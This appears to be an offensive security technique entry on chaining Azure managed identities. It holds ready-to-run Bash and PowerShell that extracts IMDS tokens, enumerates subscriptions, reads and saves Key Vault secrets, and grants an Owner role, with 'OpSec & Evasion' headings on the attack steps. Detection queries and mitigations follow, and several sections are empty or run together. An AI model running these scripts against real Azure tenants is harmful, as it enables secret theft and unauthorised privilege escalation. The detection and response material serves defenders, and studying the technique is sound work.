| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-036 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Privilege Escalation |
| Platforms | Entra ID / Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure compute resources with managed identities |
| Patched In | N/A - By design |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Managed Identities are automatically provisioned credentials that allow Azure services (VMs, App Services, Function Apps, Logic Apps, etc.) to authenticate to Azure resources without storing secrets. Attackers who gain code execution on any Azure compute resource can extract the managed identity token from the Instance Metadata Service (IMDS) endpoint. This token can then be used to authenticate to other Azure resources, escalate privileges, or chain through multiple managed identities to reach high-value targets. Unlike traditional credential reuse, managed identity chaining leverages the built-in trust relationships between Azure resources.
Attack Surface: Instance Metadata Service (IMDS) on all Azure compute resources, federated credentials, workload identity federation, cross-subscription and cross-tenant identity access, privileged managed identities assigned to low-privilege resources.
Business Impact: Unrestricted lateral movement across Azure subscriptions and potential cross-tenant compromise. An attacker gaining access to a single VM or App Service can extract its managed identity token and use it to access Key Vaults, databases, storage accounts, or other subscriptions. If the compromised resource has been assigned a federated credential pointing to a multi-tenant app registration, the attacker can further escalate to other tenants.
Technical Context: IMDS is available on all Azure compute at http://169.254.169.254/metadata/. Tokens obtained from IMDS are valid for 24 hours and are automatically renewed. Managed identities have no password, no certificate expiration (for system-assigned), and are difficult to audit because they’re often “invisible” in terms of traditional credentials.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.1.5 | Ensure Virtual Machines Use Managed Identities (not secrets) |
| DISA STIG | SC-7(5) | Managed Interfaces; Access Control |
| CISA SCuBA | Azure 2.2 | Ensure strong credential practices |
| NIST 800-53 | AC-2(1), AC-6(1) | Privileged Access Review; Least Privilege |
| GDPR | Art. 32 | Security of Processing - Access Controls |
| DORA | Art. 9 | Protection from ICT incidents |
| NIS2 | Art. 21(3) | Privilege Management; Supply Chain Risk |
| ISO 27001 | A.9.2.1, A.9.2.5 | Privileged Access Rights; Access Rights Review |
| ISO 27005 | 8.2.3 | Unauthorized Use and Privilege Escalation |
Supported Versions:
Tools:
requests library (optional)Supported Versions: All Azure compute resources
Objective: Get the managed identity token for ARM API from IMDS.
Command (Bash):
#!/bin/bash
# Step 1: Get token for ARM (management.azure.com)
echo "[+] Requesting token from IMDS for Azure Resource Manager..."
TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')
if [ -z "$TOKEN" ]; then
echo "[-] Failed to obtain token. Ensure managed identity is assigned to this resource."
exit 1
fi
echo "[+] Token obtained successfully!"
echo "[+] Token length: ${#TOKEN}"
# Step 2: Decode JWT to see claims
echo "[+] Decoding token claims..."
echo "$TOKEN" | cut -d'.' -f2 | tr '_-' '/+' | fold -w4 | paste -sd '' | base64 -d | jq '.'
# Save token for reuse
echo "$TOKEN" > /tmp/arm_token.txt
chmod 600 /tmp/arm_token.txt
Expected Output:
[+] Token obtained successfully!
[+] Token length: 1456
[+] Decoding token claims...
{
"aud": "https://management.azure.com/",
"iss": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
"oid": "87654321-4321-4321-4321-210987654321",
"sub": "87654321-4321-4321-4321-210987654321",
"exp": 1704902400,
"roles": ["Contributor"]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Command 'jq' not found
python3 -m json.tool instead: curl ... | python3 -m json.toolObjective: Use the token to discover available subscriptions and identify high-value targets.
Command (Bash):
TOKEN=$(cat /tmp/arm_token.txt)
echo "[+] Enumerating subscriptions accessible to this managed identity..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | \
jq '.value[] | {id: .id, displayName: .displayName}' | tee /tmp/subscriptions.json
# For each subscription, enumerate managed identities
echo "[+] Enumerating user-assigned managed identities..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2018-11-30" | \
jq '.value[] | {id: .id, name: .name, principalId: .properties.principalId}' | tee /tmp/managed_identities.json
# Check role assignments for high-privilege identities
echo "[+] Checking role assignments for discovered identities..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.Authorization/roleAssignments?api-version=2015-07-01" | \
jq '.value[] | select(.properties.roleDefinitionId | contains("Owner") or contains("Contributor")) | {principalId: .properties.principalId, roleDefinition: .properties.roleDefinitionId}'
Expected Output:
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012",
"displayName": "Production"
}
[
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012/resourcegroups/app-rg/providers/Microsoft.ManagedIdentity/userAssignedIdentities/app-identity",
"name": "app-identity",
"principalId": "87654321-4321-4321-4321-210987654321"
}
]
What This Means:
OpSec & Evasion:
Objective: If a higher-privilege managed identity was discovered, attempt to extract its token (federated credential exchange).
Command (Bash - Federated Credential Exchange):
#!/bin/bash
# This requires the compromised resource to have federated credential configured
# Variables
CURRENT_TOKEN=$(cat /tmp/arm_token.txt)
TARGET_TENANT="target-tenant.onmicrosoft.com"
TARGET_APP_ID="12345678-1234-1234-1234-123456789012"
TARGET_MANAGED_IDENTITY_ID="87654321-4321-4321-4321-210987654321"
echo "[+] Attempting federated credential exchange..."
# Step 1: Get token for api://AzureADTokenExchange
EXCHANGE_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=api://AzureADTokenExchange" | jq -r '.access_token')
echo "[+] Exchange token obtained"
# Step 2: Exchange for token in target tenant using the app registration
TARGET_TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TARGET_TENANT/oauth2/v2.0/token" \
-d "client_id=$TARGET_APP_ID" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials" \
-d "client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer" \
-d "client_assertion=$EXCHANGE_TOKEN" | jq -r '.access_token')
if [ -z "$TARGET_TOKEN" ] || [ "$TARGET_TOKEN" == "null" ]; then
echo "[-] Federated credential exchange failed"
echo "[-] This resource may not have federated credentials configured"
else
echo "[+] Successfully exchanged token for target tenant!"
echo "[+] New token saved to /tmp/target_token.txt"
echo "$TARGET_TOKEN" > /tmp/target_token.txt
fi
Expected Output (Success):
[+] Exchange token obtained
[+] Successfully exchanged token for target tenant!
[+] New token saved to /tmp/target_token.txt
Expected Output (Failure):
[-] Federated credential exchange failed
[-] This resource may not have federated credentials configured
What This Means:
OpSec & Evasion:
Objective: Use the managed identity token to access Key Vault and exfiltrate secrets.
Command (Bash):
TOKEN=$(cat /tmp/arm_token.txt)
SUBSCRIPTION_ID="12345678-1234-1234-1234-123456789012"
RESOURCE_GROUP="app-rg"
KEY_VAULT_NAME="production-keyvault"
echo "[+] Accessing Key Vault: $KEY_VAULT_NAME"
# Get Key Vault ID
KV_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.KeyVault/vaults/$KEY_VAULT_NAME?api-version=2021-06-01-preview" | \
jq -r '.properties.vaultUri')
echo "[+] Key Vault URI: $KV_ID"
# List secrets
echo "[+] Listing secrets in Key Vault..."
curl -s -H "Authorization: Bearer $TOKEN" \
"$KV_ID/secrets?api-version=2019-09-01" | jq '.value[] | .id' | head -10
# Get specific secret
SECRET_NAME="DatabasePassword"
echo "[+] Extracting secret: $SECRET_NAME"
SECRET_VALUE=$(curl -s -H "Authorization: Bearer $TOKEN" \
"$KV_ID/secrets/$SECRET_NAME?api-version=2019-09-01" | jq -r '.value')
echo "[+] Secret value: $SECRET_VALUE"
echo "$SECRET_VALUE" > /tmp/exfil.txt
Expected Output:
[+] Accessing Key Vault: production-keyvault
[+] Key Vault URI: https://production-keyvault.vault.azure.net/
[+] Listing secrets in Key Vault...
"https://production-keyvault.vault.azure.net/secrets/DatabasePassword/abc123def456"
"https://production-keyvault.vault.azure.net/secrets/APIKey/xyz789uvw012"
[+] Extracting secret: DatabasePassword
[+] Secret value: SuperSecurePassword123!
What This Means:
OpSec & Evasion:
Supported Versions: All Azure VMs with PowerShell 5.0+
Command (PowerShell):
# Step 1: Request token for ARM
$TokenUri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
$TokenResponse = Invoke-RestMethod -Uri $TokenUri -Method GET -Headers @{ Metadata = "true" }
$AccessToken = $TokenResponse.access_token
Write-Host "[+] Token obtained: $($AccessToken.Substring(0, 50))..."
# Step 2: Use token to get managed identity details
$ManagedIdentityUri = "http://169.254.169.254/metadata/identity/info?api-version=2019-02-01&format=json"
$ManagedIdentityInfo = Invoke-RestMethod -Uri $ManagedIdentityUri -Method GET -Headers @{ Metadata = "true" }
Write-Host "[+] Managed Identity Object ID: $($ManagedIdentityInfo.objectId)"
Write-Host "[+] Managed Identity Client ID: $($ManagedIdentityInfo.clientId)"
# Step 3: Enumerate subscriptions
$SubscriptionsUri = "https://management.azure.com/subscriptions?api-version=2020-01-01"
$Subscriptions = Invoke-RestMethod -Uri $SubscriptionsUri -Method GET -Headers @{ Authorization = "Bearer $AccessToken" }
$Subscriptions.value | Select-Object id, displayName | ForEach-Object {
Write-Host "[+] Subscription: $($_.displayName) ($($_.id))"
}
# Step 4: Create new Owner role assignment (if Contributor or User Access Admin)
$SubscriptionId = $Subscriptions.value[0].id
$ServicePrincipalId = "87654321-4321-4321-4321-210987654321"
$RoleAssignmentUri = "$SubscriptionId/providers/Microsoft.Authorization/roleAssignments/$(New-Guid)?api-version=2015-07-01"
$RoleAssignmentBody = @{
properties = @{
roleDefinitionId = "$SubscriptionId/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635"
principalId = $ServicePrincipalId
principalType = "ServicePrincipal"
}
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://management.azure.com/$RoleAssignmentUri" -Method PUT -Headers @{ Authorization = "Bearer $AccessToken"; "Content-Type" = "application/json" } -Body $RoleAssignmentBody
Write-Host "[+] Role assignment created!"
OpSec & Evasion:
Clear-HistorySupported Versions: All Azure resources
Objective: Use a managed identity from one subscription to escalate in another subscription if role assignments allow cross-subscription access.
Command (Bash):
#!/bin/bash
TOKEN=$(cat /tmp/arm_token.txt)
# Step 1: Check current identity's role assignments across subscriptions
echo "[+] Checking role assignments across all subscriptions..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | \
jq -r '.value[].id' | while read sub; do
ROLES=$(curl -s -H "Authorization: Bearer $TOKEN" \
"$sub/providers/Microsoft.Authorization/roleAssignments?api-version=2015-07-01" | \
jq '.value | length')
echo "[+] Subscription $sub: $ROLES role assignments"
done
# Step 2: If we find a subscription with Owner role, we can escalate there
echo "[+] Looking for high-privilege roles..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | \
jq -r '.value[].id' | while read sub; do
curl -s -H "Authorization: Bearer $TOKEN" \
"$sub/providers/Microsoft.Authorization/roleAssignments?api-version=2015-07-01" | \
jq ".value[] | select(.properties.roleDefinitionId | contains('8e3af657-a8ff-443c-a75c-2fe8c4bcb635'))" | \
jq "{subscription: '$sub', role: .properties.roleDefinitionId}"
done
OpSec & Evasion:
Usage (Bash):
curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Usage (PowerShell):
Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Method GET -Headers @{ Metadata = "true" }
Installation (Linux):
sudo apt-get install jq
Usage:
curl ... | jq '.value[].id'
Rule Configuration:
azure_activityazure:aad:audit, azure:identitySPL Query:
sourcetype="azure:aad:audit" OR sourcetype="azure:identity"
| search OperationName="GetToken" OR OperationName="RequestToken"
| search CallerIpAddress="169.254.169.254"
| stats count by InitiatedBy, ResourceId, TimeCreated
| where count > 5
SPL Query:
sourcetype="azure:activity"
| search Operation="Create Role Assignment"
| search Caller="*managed identity*" OR Caller="*service principal*"
| where RoleDefinition="Owner" OR RoleDefinition="User Access Administrator"
| alert
KQL Query:
NetworkTraffic
| where DstIpAddr == "169.254.169.254" and DstPort == 80
| where Process !in ("waagent", "WindowsAzureGuestAgent", "python*", "curl") // Exclude known processes
| project TimeGenerated, SrcHostname, Process, DstIpAddr, RequestPath
| summarize TokenRequestCount = count() by SrcHostname, Process
| where TokenRequestCount > 3
KQL Query:
SigninLogs
| where ResourceDisplayName =~ "Microsoft Graph" or ResourceDisplayName =~ "Azure Resource Manager"
| where UserAgent contains "python" or UserAgent contains "curl" or UserAgent contains "invoke-rest"
| where AuthenticationDetails contains "Managed Identity" or AuthenticationDetails contains "Service Principal"
| where OriginalRequestId contains "api://AzureADTokenExchange"
| project TimeGenerated, UserPrincipalName, ResourceDisplayName, AuthenticationDetails, SourceIPAddress
Manual Steps (Azure Resource Group - VM):
Manual Steps (ARM Template):
"resources": [
{
"apiVersion": "2021-07-01",
"type": "Microsoft.Compute/virtualMachines",
"name": "MyVM",
"properties": {
"osProfile": {
"linuxConfiguration": {
"disablePasswordAuthentication": true
}
}
}
}
]
Manual Steps (Azure Policy):
Deny role assignments to Service Principals by Managed IdentityNOT (assignedByPrincipalType == "User" AND assignedByPrincipalRole == "Owner")
Manual Steps (Azure Monitor):
Manual Steps (PowerShell):
# Audit cross-subscription role assignments
$ManagedIdentityId = "87654321-4321-4321-4321-210987654321"
Get-AzRoleAssignment -ObjectId $ManagedIdentityId |
Where-Object { $_.Scope -notlike "*$SubscriptionId*" } |
ForEach-Object {
Write-Host "Cross-subscription assignment found: $($_.RoleDefinitionName) on $($_.Scope)"
Remove-AzRoleAssignment -ObjectId $ManagedIdentityId -RoleDefinitionId $_.RoleDefinitionId -Scope $_.Scope
}
Manual Steps (Azure Monitor):
ServicePrincipalActivityManagedIdentityActivityCloud Logs (Azure Activity):
curl, python, bash, powershell accessing IMDS169.254.169.254Compute Resource Artifacts:
/tmp/arm_token.txt or similar token filesInvoke-RestMethod to IMDSCommand (Azure CLI):
# Disable the managed identity
az identity delete --resource-group myresourcegroup --name myidentity
# Or disable the entire resource
az vm deallocate --resource-group myresourcegroup --name myvm
Command (KQL - Sentinel):
AzureActivity
| where CallerObjectId == "87654321-4321-4321-4321-210987654321"
| where TimeGenerated > ago(7d)
| project TimeGenerated, OperationName, ResourceGroup, ResourceType, ActivityStatus
| order by TimeGenerated desc
Command (PowerShell):
$ManagedIdentityId = "87654321-4321-4321-4321-210987654321"
# Remove all role assignments
Get-AzRoleAssignment -ObjectId $ManagedIdentityId |
ForEach-Object {
Remove-AzRoleAssignment -ObjectId $ManagedIdentityId -RoleDefinitionId $_.RoleDefinitionId -Scope $_.Scope
Write-Host "Removed: $($_.RoleDefinitionName) on $($_.Scope)"
}
# Delete the managed identity
Remove-AzUserAssignedIdentity -ResourceGroupName myresourcegroup -Name myidentity
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-EXPLOIT-004 (Kubelet API) or VM compromise | Attacker gains code execution on Azure compute |
| 2 | Credential Access | REALWORLD-036 | Extract managed identity token from IMDS |
| 3 | Lateral Movement | LM-AUTH-016 (Managed Identity Cross-Resource) | Move to other resources using token |
| 4 | Privilege Escalation | REALWORLD-034 (ARM API Abuse) | Escalate via role assignment |
| 5 | Persistence | REALWORLD-033 (Service Principal Certificate) | Establish persistence for long-term access |
| 6 | Impact | Data exfiltration from Key Vault or database | Final objective achieved |
Cloud Artifacts:
Compute Resource Artifacts (Linux):
/tmp/arm_token.txt, /proc/[pid]/environ (environment variables)Compute Resource Artifacts (Windows):
Invoke-RestMethod commands to IMDS; token in memoryNetwork Artifacts:
169.254.169.254:80 with /metadata/ pathReferences: